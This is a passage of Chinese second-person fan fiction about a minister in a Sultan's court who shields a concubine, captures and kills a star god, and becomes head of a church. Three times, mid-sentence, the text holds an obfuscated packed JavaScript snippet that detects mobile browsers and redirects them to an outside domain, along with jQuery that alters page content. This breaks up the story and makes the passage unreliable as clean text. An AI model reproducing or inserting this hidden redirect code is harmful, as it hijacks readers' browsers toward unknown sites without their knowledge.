这真是个危险的话题，你小心翼翼地说，那样的罪行总是由主犯策划的，应该归因给主犯才是。 “萨达尔尼不是吗？”苏丹反问说，“处心积虑地偷走主上的武器，意图弑君，这都算不上主犯吗？” “但是！”你脱口而出，“她根本没做过这些事啊！” “不是她？”苏丹若有所思，“那果然是安苏亚了。” 这是个陷阱吗？等着你的亲口确认？你呆立在原处，仿佛被一桶冰水浇透全身。苏丹对你的表情抚掌大笑。他转向一边的内侍：“叫安苏亚妃过来。” 安苏亚王妃走进香氛环绕的大殿，仍然是那波澜不惊的面色，雪山般素雅的妆容。她什么也没有问，只是沉默地对苏丹行礼。你和她一起跪在宝座前的地毯上，一位亡国的公主，和一位不存在国度的宰相，同时向那毁灭一切的敌人俯首。你感到一种可悲的同病相怜。 “你旁边的是阿尔图卿，爱妃或许在朝堂上见过他，他可是很能说会道呢。”苏丹做了介绍，“今天他来劝谏朕，说人不应当为没犯过的罪行受到处罚。说得也不是没有道理。” 然后他恶意地笑了笑。 “那么，阿尔图卿，就由你来告诉王妃，她犯过的罪行是什么吧。” 事已至此，否认毫无意义。你冷静地开口，尽量在保持原貌的同时把一切罪行都揽到自己头上。你说这是一个关于天真和欺骗的故事，在这个故事里，一个狂妄的大臣对受宠爱的王妃使用了求欢的卡牌。无辜的王妃被他许诺的荣耀所诱惑，偷取了帝王的珍宝，使至高无上的君主在战斗中受到重创。然而，你强调，这一切并没有发生。故事中的大臣是那个邪恶的来源。如果没有他的教唆和鼓动，安居在花园中的王妃永远不会产生那样悖逆的想法，更别提去实现它了。 厅堂里十分安静，没有人打断你。你从叙述中抬起头，看见苏丹已经把提灯丢到了一边。他手中不知何时玩弄起一柄薄而锋锐的尖刀，刀刃如水，闪着点点银芒。 “说完了？”他漫不经心地说，“安苏亚，你对这个指控怎么想？” 安苏亚优雅地直起身，转脸望向你。你不知道她如何理解这个故事。是把这当作满怀恶意的构陷，还是当作君臣一时兴起的妄语。又或者，她能剥开故事外壳的伪饰，看到其中蕴含的轮回的真相，看到你正绝望地暗示她自救的方式。 她是多么聪慧的一位公主！她应该知道，苏丹取乐的对象是你，他想要见证你众叛亲离，被曾经的盟友逐一抛弃的丑态。只要顺着故事的思路，对你进行一番批驳和嘲讽，坚称她绝对不会看上你、更别提与你合作，这件事说不定就到此为止了。 如同冷泉上荡开的一道柔光，冰川上绽开的一支雪莲，安苏亚恬静的面孔上露出一丝微笑。 “哦，素不相识的大臣。”她说，“我真希望我做过了您所说的事。” 然后她站起身，冲着苏丹手中的刀尖就扑了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993267|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>*** 那一刻你实在无暇多想。苏丹唇角扭曲出一个微笑，眼中闪过嗜血的寒光。在你意识到之前你已经抢在了安苏亚之前，用肩膀把她撞到一边。利刃直接从你锁骨下方穿了过去，未及准备的切割让你发出一声毫不掩饰的惨叫。 鲜血溅到了前后两个人身上。苏丹和安苏亚的动作都停住了。你深吸一口气，额角突突跳动，冷汗涔涔而下。 “王妃精神失常了！这对她自己和君主都十分危险。”你大声说，“臣请将她贬为奴隶，流放到千里之外。这样吾王再也看不见她，也不会听到她的疯言疯语了。” 有几秒钟，安苏亚和苏丹都盯着你，好像诧异于你明目张胆的胡言乱语。天可怜见，明明这两个人精神状态都比你吓人多了！安苏亚蹙起眉，难得露出一丝被冒犯的薄怒。苏丹嗤笑一声，他俯身过来，空余的手掌按在你的肩头。短暂的停顿间你惶然想到，他可以转动这把没入你身体的利刃......然后他向后收回刀柄，钢刃利落地从血肉间抽离出去。在细密的长毛地毯上留下一整道泼溅的血渍。 “爱卿真会说笑话。”君主刻薄地说，“朕这王妃只怕连擦盘子都不会。若把她卖了，还得麻烦阿尔图卿跑来再把她买回去，平白给你府上添个累赘。” “即便是陛下的奴隶，臣也断然不敢染指。”你哑声说，“但臣知道有个异邦的买家。若有机会，一定会穷尽珍宝来赎买她的。” “一群无家可归的耗子，能有什么好东西？”苏丹冷淡地说。但他灼热的杀意似乎确实被已经献上的鲜血缓解了。君主转过身去，嫌弃地把刀刃上的血珠甩到一边。 “让他们来出个价吧。你可以滚了，爱卿，明天记得来上朝。” *** 安苏亚和你一起退出了觐见室。她不能伸手搀扶你，也不能为你擦拭肩上的血手印，但她安静地跟着你踉跄的步伐走过漫长的回廊。直到你看见玫瑰园的大门，出言请她留步。 “为什么？”她问，湖水般清澈的双眼望着你。 “活下去就会有希望，殿下。”你说，“请不要放弃自己。” 你是这么说的。你也是这么做的。但你真是这么想的吗？你派人给巴拉特传递了消息。回家治疗贯穿身体的伤口。没有看起来那么严重，玛希尔说，没有伤到器官。安苏亚都放过了，其他人应该也没事。你对困惑的妻子说，脸上挂着一个纸糊般的微笑。然后沉沉睡去。 *** 祂来了。祂欣赏你流出的血。这为他人所承受、却不被他人理解的痛苦。这放置在累世的痛苦中心、百般摧折也无法磨损的微弱的希望。这被希望诱使而来的、更多源源不绝的血。痛苦是必要的吗？希望是存在的吗？流血的伤口是一道有效的路径，能导向更美好的世界吗？ 是的。是的。当然可以。宏大的声音逐一回答。 在天幕间降下的辉光里，纯净之神向你展示了祂慈悲的面容。 5. 向星星许愿 做大臣如同做狗，做一个玩苏丹卡的大臣比做狗都难。受伤后的几天里，你不但听命上朝，还带去了新的折卡故事。一桩鬼屋探险。故事本身有些平淡，难以满足苏丹的猎奇趣味。但你解释说，你在寄宿着幽魂的空房舍里发现了神秘力量的痕迹，会做进一步的探索。这是你关于女术士的秘密任务。君主听懂了暗示，勉强把你放过了。 你确实对密教展开了调查，还收容了一个密教的邪术师。拜铃耶对你十分亲热，坚称你受到她所信仰的密神的宠爱。但你阅读了她分享的献祭仪式，认为这个创造之神完全不可信任。你把拜铃耶收集的密教孤儿们送去了苗圃，此后就把她当作一位普通的随从使唤。好在这个安排打动了她，她没有再来找你念叨什么死亡与创造的故事。 另一方面，正神的教会频频向你示好。祭司们主动提出为你延缓卡牌的期限。但如果想要更多神迹，你也要回应纯净之神的呼唤，为教会作出贡献。你如约送上随从和金币。一时间，朝廷内外都传起闲话，说曾经的权臣因为政治失意，转而开始求神拜佛了。 *** 奈费勒正是借着这个机会来和你见面的。你出资为教会举办了一次盛大的庆典，花费足以抵消一张银色奢靡卡。全城的人都可以拿到经过赐福的雪白圆饼。在祝祷仪式之后，付出额外金币的虔信者可以在神殿中领取特殊的礼物。 奈费勒走进神殿深处的穹顶下，肩上套着受祭司祝福的茉莉花环，一丝不苟的黑发沾上了打散的花蜜和露水。看起来颇有种反差的趣味。 “陛下发现了。”在他发问之前，你言简意赅地说，“不止是我，他还知道你。以后如非必要，不要和我接触。” 奈费勒的眼睛睁大了，震惊的神色出现在他那副一贯严厉的面孔上，看起来有些滑稽。 “那你怎么还活着？” 政敌嘴里吐不出好话。你原本期待着什么哪！ “我怎么知道。”你两手一摊，“不过我的猫经常故意放猎物逃走，看它努力挣扎的样子。” 这个比喻有点不必要地形象了，你感到没有完全长好的肩膀抽搐了一下。 奈费勒深深地望了你一眼。 “是我害了你。”他沉声说，“抱歉。” 这可真没想到！你哑然失笑。 “难道没有你，我就能心安理得地玩这个游戏吗？”你说，“反过来说，如果没有我，你就不会产生大逆不道的想法吗？这事上咱俩半斤八两，就不要互相责怪了吧。” “那接下来怎么办？”奈费勒干脆地接受了现实，“我能为你做什么？” “我没救了。”你实话实说，“但你还有机会。就算你也死了。我们开创的事业，应该也能找到办法进行下去。” 这也许是你们之间最后一次密会了。你向他倾倒了自己能想到的一切。其中有一些是真实存在过的，有一些则是异想天开的。这让你感到前所未有的快慰。那一天回到家中时，拂去身上的花瓣和露水，你心里仍然回荡着最后和你的盟友分享的话语。 “希望有一天，整个国家都能变成一所学校。每个人都能获得清醒的头脑，拥有理性的力量，共同压制欲望引发的空洞……那我们如今所经历的荒唐的一切，或许就不会发生了。” *** 理想的滋味过于甜美，以至于你第二天上朝时，觉得金碧辉煌的大殿中弥漫着陈腐的浊气。身着各式绫罗的贵族们互相矜持地吹捧，夸夸其谈。而在朝会正式开始前，一位不知名的小贵族向同僚们提出一个谄媚的问题：苏丹的哪一位妃子最美？ 这问题是有所指向的。苏丹今天带了莎姬上朝。萨达尔尼已经失宠，安苏亚又被流放。帝王争奇斗艳的后花园里正暗流涌动。每个看似单纯的回答背后都另有所指。你站在自己的位置上，尽量不表现出乏味。但苏丹很快亲自向你发问了。 “你呢，阿尔图卿？你的答案是什么？” “下一位。”你欠身回答，“陛下，当然是您的下一位妃子最美。” 苏丹似乎愣了一下，然后哈哈大笑。他拍着金王座的扶手，乐得肩背耸动，被取悦的程度超过了你的预料。一边端坐的莎姬附和地陪着笑脸，唇角显露出扭曲的愤恨。而朝堂中爆发出一阵艳羡的嗡鸣。不远处的奈费勒对你投来复杂的注视，大概他想不明白，你是如何把深思熟虑的谋反理念和如火纯青的佞臣功夫融为一体的。 事实上你甚至没有刻意奉承君主。这答案完全是实事求是。苏丹对你招招手。你顺从地拾阶而上，单膝跪在他身侧。 “爱卿真会讨人喜欢。”头顶的声音仿佛来自一头餍足的狮子，“朕得赏你点什么才好。卿有什么想要的？” “确实有一个请求，需要获得您的恩准。只是担心会触怒吾王。” “哦？”苏丹的语调里增加了一丝兴味，“说吧。今天不管要求什么，都可以放你一马。” 听起来他确实心情不错，你于是向他呈上了那张卡片。 金色的纵欲卡。 *** 上一轮游戏里，你险些被这张卡牌逼死。妻子是青铜品级，追随者中也找不到满足要求的人脉。希尔希纳是金色品级，但对他下手你俩之中只怕得死一个。偶有几次你看到苏丹带着莎姬上殿。可向君主讨要一个女奴或不受宠的妃子是一回事，向风头正盛的宠妃求欢怕不是活腻了！你最终还是没敢开口。女术士手下留情让你重新摇了一张，直到最后也没完成过这张卡。 如今每天都是生死难关，你心态好了不少，觉得试一试也无妨。 卡牌的金色纹路在火光下反射出迷幻的涟漪。整个大厅仿佛都屏息以待。苏丹没有说话。你听到一边莎姬恼怒的喘息——这位宠妃大约把两件事结合起来，当作一场针对她的有计划的侮辱了。这你必须立刻澄清一下。 “莎姬夫人，”你预备着说出一串恭维的好话，“臣——” 一只手掌落在你脖颈上，指节精准地卡着动脉，直接阻止了你的发言。你僵住了，就着这个要害被挟持的姿势一动不动。 “可不要搞错了。”苏丹的声音里仍带着一丝浅笑，“卿在请求谁的许可？” “当然是陛下！”你感到蕴含着强大武力的手指在喉口滚动，完全无需演技地低声下气起来，“陛下知道臣之前是如何销卡的……臣与莎姬夫人见一次，绝不会横生枝节，请陛下开恩。” 苏丹终于收回了手，抬脚把你踢到一边。 “真是败兴。看来卿也没有那么会讨人喜欢。”他轻慢地说，倒回他的座椅里，“准了。她想要什么，让莎姬自己和你商量吧。” 莎姬当然不会放过你。你直起身，看见宠妃眼中的恨意如同雷电般闪耀，清脆的声音如珠落玉盘般对你提出了一连串苛刻的要求。 ——这真是个错误，你果然不该尝试的。 *** 你花了好几天才凑齐足以讨好贵妃的金币、珠宝与奇珍。而她戴着金链的纤细双脚刚一落地，就对你展开尖刻的攻击。从你家门口地砖的样式，一直贬低到你朝堂上的着装。你由她去了，只在她嘲讽梅姬时反唇相讥了几句。这倒意外地让她沉默下来。莎姬站在你接待贵宾的小客厅里，皱着眉原地转了几圈，然后深深吸了一口气。 她那副纡尊降贵的宠妃面具忽然摘下了，站在你面前的是一个困在捕兽夹中、欲做最后一搏的狮子般的女人。 “我有一件事要请您帮忙，阿尔图大人。”她双眼直直地望着你，冷静地说，“若能做到，这宫廷中您想要什么，我都能为您达成。” 简单来说，这位尊贵的宠妃对一位神秘的神祇许下了愿望。现在，她已经支付不起愿望所需的回报。危险的异教之神正对她释放各种警示，她头脑中延绵不绝的痛苦尖叫，难以阻断的恐怖幻想，以及她在苏丹心中的地位竟被你一介奸臣所撼动——都是这种种惩罚中的一环。她希望你找到办法，来帮她实现那位“圣主”的愿望。 你听得嘴角抽搐——这回可完全不关你的事！苏丹的后宫里就没有一个不想搞事的女人吗？但如果拒绝她，莎姬的枕边风绝对比奈费勒的反对三要厉害得多。你对这金子般的美人说，不妨把要求说出来听听，你会试着帮她的。 于是她最终告诉你说，那位神秘的“圣主”，想要苏丹的“种子”。 *** 到底是哪路大神，为什么有如此低俗的趣味。 你确实思考了一下如何帮助莎姬。不外乎买通宫廷浴场的内侍，或悄悄调换苏丹的贴身用具。若是过去，她还真求对人了。但今时不同往日，你非常确定，你的大部分举动都在苏丹的监视之下。这些伎俩不可能有机会实现。 何况作为一个起义的领袖，贤者之国的奠基人，你就不要面子的吗——如果被苏丹发现你接近内廷是在搞这种把戏，不用他动手，你自己都想一头撞死。 倒是拜铃耶的提案给了你一个想法。这位密教的邪术师表示，她认出这位“圣主”是一个星神。你们可以用“种子”当作诱饵，把这颗星星捕获，收为己用。 你整理一下思路，直接去见了苏丹。 *** 苏丹在玫瑰园后面的练武场，和几个近卫进行格斗训练。他在休息的间隙见了你，一边用冰水浸透的软巾擦拭汗湿的上身，一边接过女奴们捧上的凉茶。你给他编了一个没有假话的故事。你说你通过一个异教徒，发现了一个能与人类沟通的星神。这个星神十分强大，或许有足以消灭女术士的力量。不过呢，捕获星星的诱饵比较独特，需要伟大的君主提供一点帮助。 不愧是久经考验的阿尔图大人，就算是说出如此离谱的故事，你也保持了完美的面不改色。保准让站在后面的奈布哈尼相信，是他自己的耳朵出了问题。 君主听完了你的诉求，空气里一阵沉默。你猜至高无上的战士王也需要一点时间思考这件事。 然后苏丹向你转过身来。 “阿尔图卿，”他听起来难得有点儿困惑，“这是某种朕没理解的求欢方式吗？” 当然不是！你差点撞在一边的雕花廊柱上，立刻向他担保，这完全是出于纯洁的、严谨的、神秘领域的科学用途。 “哦。”你的王兴致缺缺地说，把水晶盏抛还给脚下的女奴，“那不可以。” 难道另一种答案就可以吗！ 你立在忙碌的奴隶们身边，感觉自己像玛希尔实验失败作出的电锯，合不上的齿轮咔咔作响。苏丹显然看出了你的神游天外。他接过一边女奴捧上更换的软巾，把手里那条丢在你脑袋上。 “你好大的胆子。”他语气平平地说，“敢把君主的身体素材献给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993268|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知名的邪神。如果失败了，你承担得起责任吗？” 听起来还没发怒，但也快了。你只好更具体地解释了这个仪式的思路。当星神被诱饵吸引，降临人间，就会被困在作为祭品的人类身体中。没有则会逃走。所以无论如何，不会影响到君主本人。 “是吗？卿打算献祭什么人？” “呃，”你寻思了一下，“臣自己？” 这个意想不到的事件拥有了一个更意想不到的展开。苏丹表示他不会提供你要的素材，但仍要看看这胆敢提出如此要求的妖怪长什么模样。就这么既要又要，具体问题你自己研究去吧！作为资助，他向你开放了一片偏远的皇家猎场，两个宫廷术士和半打阉奴，以做仪式的场地，助手和试验品。 “卿的命可不属于自己。”他警告说，“别让朕发现它被献给了哪个上不了台面的孤魂野鬼。” *** 你做到了。仪式当晚，君主亲自到场观看。几位术士将魔力注入作为祭品的奴隶体内，使诱饵的生命闪闪发光，然后齐声呼唤空中最强大的星星。 星神降临了。祭品开始膨胀，发光，变成半透明的人形。然而诱饵的缺失确实使猎物产生了警觉。人形即将成型的一刻，仿佛发现了什么动静，形体即将溃散——这时候，其中一位宫廷术士猛扑上前，大声吟唱着咒语。他皮肤中衍化出无形的锁链，把人形的辉光揽进了自己的身体。星光没能逃走。这位被俘获的神灵，如今被困在忠诚的术士身体中了。 你所听见的第一件事是哀叫。是神所依附的□□在祂的怒火中痛呼。很快，来自术士本身的声音停止了。祂重新睁开发着光的眼睛，扫视着法阵之外的观众。 “你……”那形体发出了嘶嘶的、满怀仇恨的声音，“篡夺的野兽……践踏高原的纵火者……妄称的帝王……” 苏丹大笑起来。 “朕就知道是你！”他高兴地说，你看到他眼眸闪闪发光，“一个星神！还是与朕有仇的那一个！老东西，流亡的日子过得如何？朕下令焚烧了多少你的祭坛，砸毁了多少愚蠢的塑像，还是第一次和你说上话呢！” 星神——你终于后知后觉地意识到，这正是那位前朝信仰的圣灵，高原的圣主，被万民供奉千年的古老存在——发出一阵震动地面的咆哮，内容无法识别，听上去完全不是人类的肉身能发出来的。 看来苏丹已经完全把女术士的事抛到脑后了。你不抱希望地提醒了一句：“吾王，关于那个游戏的事……” “哦，对了。”苏丹走上前一步，在你伸手阻拦之前直接踏进了法阵。他站在星神的肉身面前，兴致勃勃地上下观察着那发光的人形。 “朕这臣子说，朕该和你做个交易。怎么样，‘圣主’，星神也会委曲求全吗？嗯？你愿意为了自由，满足我这个有罪的凡人的愿望吗？” 太完美了，吾王，绝佳的谈判艺术。你认命地望向一边，准备好抵挡新一轮的非人的怒吼。但并没有，术士扭曲痉挛的身体忽然站直了，就好像一个更庞大的东西，边角渗入地下，也连接夜空，缓缓地从你们面前升起。那双光束构成的眼睛望着你们，光束构成的口发出了光束构成的声音。 “我诅咒你，地上的王，还有你的走狗。”坠入人间的圣主说，每一个字节都在空气中发出炙热的嗡鸣，“你们的灵魂将被罪孽缠绕。再强大的神迹也无法净化。再慈悲的圣人也无法宽恕。你们会永远承受自身罪行的鞭笞，永世不得超生。” 你立刻感受到了这诅咒。仿佛一万柄钢针扎入脑海。仿佛滚烫的沸水浇入咽喉。你人生中大大小小的罪孽统统在你眼前出现。违心的奢靡，放纵的□□，不应踏足却被你征服的领地，罪不至死却喷溅出来的血。你听到哭喊，然后意识到是自己的声音。你听到一个个形体倒地的声音，那是参与仪式的所有人。你双手抱住头颅撞向地面，发出祈求一切结束的尖叫。但你同时知道这是无穷无尽的。罪孽如影随形，痛苦永远缠绕，永生，永世...... 就在这时，在这日光般耀眼，溶金般高热的痛苦中，有人站了出来，有人说话了。 “朕的灵魂用不着任何人来宽恕。”在光芒四射的模糊视野里，你看到苏丹轻蔑地说，他的臂膀在贯彻天地的尖啸中一寸寸抬起，“这就是你能想出来的最恶毒的东西？” 然后他举起掌中的弯刀，利落地划开了那形体的咽喉。 那一刻，你以为会发生什么极为恐怖的事。形体会爆炸，原野会燃烧，地面会崩裂——然而这些都没有发生。发光的人形如同一口破布袋子一样毫无反抗之力地被割开了。喉管里流出的不是鲜血，而是纯净的白光，在接触空气时又瞬间转化为湛蓝的以太。这汹涌而至的神血泼溅上苏丹的前襟，仿佛给他也披上一层非人的艳丽光晕。苏丹松开抓住猎物的手，任凭这古老神祇的化身倒下去，在他脚下发出沉闷的砰的一响。 脑海中的尖啸停止了。你颤抖的手臂支撑着身下的草地。星光熠熠，沉默地照在大地上。 “有意思。”人间的王评价说，他别过刀柄，伸出舌尖在被蓝色浸透的刀尖上长长地舔舐一下。大概不喜欢尝到的味道，又伸手抹去了。他转过身，沾染着莹蓝色神血的面孔望向你。 “起来吧，缩在那里像什么样子。”他居高临下地说，“神也不过如此嘛。” 6. 神的真容 接下来，你会尽量简洁地解释，你是如何成为纯净教会的教领的。 起初，只是一个梦。你梦见一颗巨大的星辰坠入怀中，如此光辉灿烂，使你反复地对它的本质进行思索和领悟。接着是与教会的关系。你在正教开口相邀时一次次地贡献了金币，在他们需要人手时提供各式各样的追随者。后来，你开始和祭司们沟通，以尝试的心态参与他们的修行。作为主祭的伊曼屡次告诉你，你身上有比任何祭司都强大的灵光，说明你获得神灵的青睐。你把这看作普通的恭维，但神灵并不接受人间的婉拒。一个深夜，神灵亲自进入你的梦境，对你吐露祂的话语，对全部地上的信徒说出你的名字。你在梦中惊醒，被蜂拥而至的人群拖出家门。一双双颤抖的手把你推举过长街，一双双虔诚的泪眼目送你走上祭坛。你在圣光下跪倒，领受了最苛刻的仪式，每当脊背上绽开一道新的伤痕，你的喉咙里就吐出纯净的真言。这是明白无误的神选的铁证。当一切结束，你后背再也没有一块完好的皮肤，口中也再吐不出清晰的话语。祭司们把你搀扶起来，用释放花香的圣水清洗你的伤口。为你穿戴上象征纯净的珠宝和衣装，宣布你是纯净之神在地上的使者。你也就这样轻而易举，同时莫名其妙地推翻了曾经的主祭，成为纯净教会的教领了。 你解释完了，苏丹看起来一点也不满意。 *** 此刻距离被祭司们描述为“神圣哗变”的事件，还不到几个小时。你的双脚酸软，头脑沉重，崭新的伤口仍在渗血。可你并没有选择的余地，帝国的主人在早朝中召唤了你。他显然在晨间的奏报中得知了教会这场突然的权力更迭，并正用阴影下的双眼确认这结果。仰望那金光闪闪的王座时，你忽然有些谐谑地想到，苏丹是否也和所有信徒一样，在梦中听到神灵呼唤你的名字，并带着被惊扰的不快醒来。 不过这种事不可能发生，你比所有人更知道，苏丹不是一名信徒，他对所谓的神灵没有丝毫的敬畏之情。 “朕专门警告过你，阿尔图。”果然，苏丹用明显不悦的声音说道，“你不会是以为用这幅可笑的样子来见我，就能得到豁免吧？“ 什么警告，什么豁免？这装扮哪里可笑了？ 身为公认的最能揣摩上意的大臣，你也转了好大一圈才反应过来，他指的是之前召唤星神时说的警告，叫你不要随便献祭。 陛下，可这回不是前朝的余孽，这是您帝国的正教之神啊！ 但苏丹说你犯了错，你最好真的犯了。你斟酌着回答说：“并不是有意违背您的谕令，但是蒙受神恩这样的事，臣自己也无法预料。” “意思是如果你提前知道，就会拒绝喽？” “为正教效力，也就是为吾王尽忠。无论是哪一份职责，臣都不敢推卸。” “是吗？可朕还要靠卿来玩这场游戏呢。”苏丹说，“这么说，经由教领之手实施的纵欲、糜费和杀戮……这都是我们的神所赞许的喽？” “这……” 大殿后排的贵族中传开嗡嗡的私语，身后跟随跪拜的神官吐出沉重的呼吸。可以想见，你回答得越是圆滑，苏丹就越是不快。而如果迎合苏丹而贬低把你奉为神使的正教，也会激发信徒的不满。这碗水是你能端得平的吗！你感到一阵心累，在苏丹提出更多刁钻的问题之前说道：“神灵当然护佑您和您的帝国。祂还额外降下了神谕，如果吾王允许，臣想单独向您传达。” “是什么神谕，不能在这大殿之上说？” “为了取悦神灵，教会想要布置一些仪式。其中的部分步骤需要得到陛下的许可。”你说，“臣向您担保。陛下听了之后，一定会感到满意的。” 王座上的君主没有说话。你能想象他脑中的齿轮如何漫不经心地转动，他对你郑重其事的“担保”产生了好奇，但又不愿放弃在群臣面前使你难堪的乐趣。过了一会儿，君主优雅地起身，从王座拾级而下。他踱步到你面前，一只手钳住你的下颔拉拽，使你不得不面向他挺起胸膛。 脊背上的伤口在拉扯中伸展开来，渗出了新鲜的血水。你尽量面不改色，顺从地望向王冠阴影中的目光。苏丹伸出另一只手，涂花了你面颊上描绘着神圣图案的金粉，轻浮地抹在你咬破的下唇上。 “好吧，教领冕下。”他暧昧地、意味深长地说，“你最好真的能让朕满意。” *** 君主要和你单独谈话。所有大臣和祭司都往外退走，但震惊的视线和窃窃的私语如同黏腻的蛛丝，在你的四肢和躯干间挥之不去。大厅安静下来时你一个人站在地板中间，预料到淫靡的流言将和你新获得的尊崇称号一起传遍全城。就算已经磨练出钢铁般的心态，也忍不住叹了口气。 “陛下，臣本来没有多少名声，这下都丢尽了。” “朕听说你的名声好得很。”苏丹讥讽地说，他已经转身回到了他的王座上，示意你向他走去，“在民间你是当世圣人，在黑街是一方豪侠，在花街还有独特的声誉。怎么，朕不许你弄权，你把手伸到教会去了？做什么都能拔得头筹，卿可真有本事啊。” 这是再直白不过的猜忌信号，但在你张口辩解前，苏丹做了个不耐烦的手势：“行了，说你要说的吧。” “是。”你说，“纯净之神想要降临人世，为了打开神灵与此世的通道，要为祂建造通天的高塔，装饰足量的黄金，献祭堪比一支军队的无辜者的血。如果不能在限定的时间内完成祂的任务，我就会在神罚下死去。” “这位神灵以痛苦为乐，纯净只是祂伪饰的外壳。”在苏丹回答之前，你继续说道，“当祂表达进入世间的愿望时，我看见了祂狰狞的真容。祂的降临将会毁灭世上的一切。即使我死了，祂也会找到下一个信使。为了您的帝国，我们应该杀死祂，我的王。如果是您的话，就算是神灵也不足畏惧。” *** 以你对苏丹的了解，对于这样冒天下之大不韪的提议，他就算不欣然接受，也该见猎心喜，甚至对你表示赞赏才对。但苏丹并没有这些反应。 他啧了一声。声调中带着一点遗憾，还有幽微的自得。 “还真是这样。”他说。 “陛下？” “你一出现，朕就认出了这个眼神。”苏丹用评鉴珠宝的语气说，他抬起手，指点你眼底的金色纹路，“里面有决心，愤怒和仇恨。这是背叛者的眼睛。阿尔图，你何其吝啬！我可是一直等着它再次投向我的时刻呢！” 所以这才是他同意和你单独见面的原因吗？他以为你获得了正教的神秘支持，胆敢在黄金的王座前再次向他挑战？你没有动手让他感到失望了？你哭笑不得，只得说道：“居然扫了陛下的兴致，是臣的过错。” “朕有心要免你的罪，只怕你根本不觉得自己有错。”苏丹无聊地摆了摆手，“这也就罢了。你想我帮你解决你背叛的第二个主人，你出得起什么价格？” 你目瞪口呆了。 “陛下，”你像对苗圃的孩子解释一加一等于二那样，扳着手指对他解释，“毁灭之神如果降临，不只是我，所有人都会死，整个世界都会终结……” “那关朕什么事？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993269|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这是您的王国，祂却想要审判您的子民……” “所以呢？” “您是人民的保护神！所有臣民仰赖您的庇护……” “哇，是进谏！卿不会要和我来这套吧？” 简直是旧日重现，你一瞬间回到了许久以前。仿佛自己还是那个大殿角落里的低级贵族，盯着对方手中无穷无尽的魔法卡牌，气得眼角直跳，一时说不出话来。 “这是一位参与创世的伟大存在，只有降临人世的时候，因为获得身躯而重新拥有弱点。我们有机会凭借凡人之躯杀死祂。您难道不心动吗？”你终于说，“这难道不是您等待已久的挑战吗？” “或许是吧。”苏丹仍然懒洋洋地说，“但朕可不做别人手里的刀。阿尔图，随口画个饼就想得到我的承诺，你还得认真想想才行。” 你就不该告诉他！你绝望地想。如果毁灭之神真的降临了，苏丹怎么可能坐以待毙。你要是不说，搞不好他拔剑比你还快呢！ 可你已经说了，而且在后面的步骤里，你确实不需要来自苏丹的阻力。你想来想去，选择举手投降。 “借助您的力量，您想要什么回报？我会努力为您达成。” 苏丹看了你一眼。 “瞧瞧，他让我自己选呢。”他对着你的肩后说，你吃了一惊，本能地转过身去，“朕还没见过这么敷衍的行贿者。” 那空气里什么也没有。你有些恼怒地转回来面向他。 “陛下……” “朕有些好奇。”苏丹歪着头打量你，“按照教会的说法，卿现在是神使，你不担心你的策划被发现吗？” “在祂看来，世间的生灵不过是粪坑里的蠕虫。尘世的君主也不过是蠕虫的帝王。”你回答，“祂只在乎给出的任务能否得到实现。对于蠕虫们的计划，祂没有丝毫兴趣，也不可能费心查看。” 来自神祇的烙印落在你赤裸的胸膛，在心脏的位置若隐若现地闪光。苏丹又思忖了一会儿。你后知后觉地意识到，这位一向用剑来说话的君主比你想象得更加谨慎和狡猾。你面前尊贵的帝王也曾经是一个成功的密谋者，一场叛变的发起人。拉他进入你的计划，和你说服一位政敌、一位王子一样，需要给出确凿的铁证，进行一次叩问心灵的沟通。 “如果提供财富和人力就能获得神的青睐，这朝中早有过一只手数不过来的神使了。”苏丹问，“卿到底是如何爬上了这个位置？” “恕臣直言，恐怕是拜陛下所赐。”你说，“我如此绝望地想要摆脱您和您制造的泥潭，以至于被虚幻的许诺诱惑，产生了一些并非虚假的虔信。” 苏丹笑了笑，没有作出评价。 “那为什么失去了你的信仰？”他又问道，“被神偏爱的信徒，什么让你胆敢窥探神的真身呢？” “同样拜您所赐，陛下。”你说，“我再也无法相信任何凌驾于世间的宏伟之物。” *** 苏丹低声笑了。这断续的嗤笑逐渐升高，最后他仰面大笑，几乎像个少年。他抓着你的肩膀把你拉到身前，动作像法里斯捧起一头心爱的猎犬。他紧贴着你的面颊对你说话，黑发摩擦着你的胸膛，热度汹涌地刺痛你的皮肤。 “阿尔图，阿尔图卿！”他亲昵地喊道，“君主不合你的意，你就要弑君，神灵不合你的意，你就要弑神——而你还敢指责我傲慢呢！” “不过这傲慢我认可了。”他又宣布说，逼近的眼眸闪着兴奋的华彩，“狂妄的叛徒，我允许你收买我！在这件事上，朕可以和你同路。” 7. 屠龙的勇行 苏丹愿意加入你弑神的计划，这只解决了许多难题中的一个。你接着向他解释神降的条件。为了降临尘世，神灵要求你犯下重重世人难容的罪行，这些罪孽都必须使用苏丹卡来开脱。 